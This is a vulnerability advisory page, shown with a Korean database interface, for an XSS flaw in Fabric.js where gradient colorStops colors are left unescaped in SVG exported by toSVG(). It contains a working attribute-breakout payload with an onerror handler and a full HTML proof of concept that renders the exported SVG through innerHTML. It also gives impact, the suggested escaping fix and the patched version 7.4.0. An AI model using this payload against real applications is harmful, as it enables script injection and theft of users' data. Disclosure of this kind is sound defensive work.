VDB
EN
MEDIUM 5.4

GHSA-w22m-hvvm-xmwx

Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization

상세

### Summary

A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method.

Specifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `<stop>` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.

### Details

During SVG export, Fabric.js serializes gradient color stops into `<stop>` elements like:

```xml <stop offset="0" stop-color="..."></stop> ```

However, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `"`, `<`, and `>`. This allows crafted input to break out of the attribute context and inject arbitrary markup.

For example: ```js color: 'red"><img src="x" onerror="alert(1)">' ```

may result in: ```xml <stop offset="0" stop-color="red"> <img src="x" onerror="alert(1)"> ``` This breaks the intended SVG structure and introduces executable HTML.

### PoC (Proof of Concept)

Successfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:

```html <!DOCTYPE html> <html> <head> <title>Fabric.js SVG Export XSS Bypass Test</title> <script src="[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)"></script> </head> <body> <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1> <canvas id="c" width="400" height="300"></canvas> <h3>SVG Output Rendering:</h3> <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>

<script> setTimeout(() => { const canvas = new fabric.Canvas('c'); // Construct a malicious gradient object const maliciousGradient = new fabric.Gradient({ type: 'linear', coords: { x1: 0, y1: 0, x2: 100, y2: 0 }, colorStops: [ { offset: 0, // Inject XSS payload to prematurely close the attribute/tag color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">' }, { offset: 1, color: 'blue' } ] });

const rect = new fabric.Rect({ left: 50, top: 50, width: 300, height: 100, fill: maliciousGradient });

canvas.add(rect);

// Export to SVG string containing the malicious code const svgOutput = canvas.toSVG();

// Render on the page to trigger the XSS document.getElementById('svg-output').innerHTML = svgOutput; }, 100); </script> </body> </html> ```

### Impact

This issue can lead to XSS in applications that: 1. Allow user-controlled input in gradient definitions (e.g., color values) 2. Use `canvas.toSVG()` to export content 3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`)

Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.

### Suggested Fix **Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

npm / fabric
최초 영향 버전: 0 수정 버전: 7.4.0
수정 npm install fabric@7.4.0

참고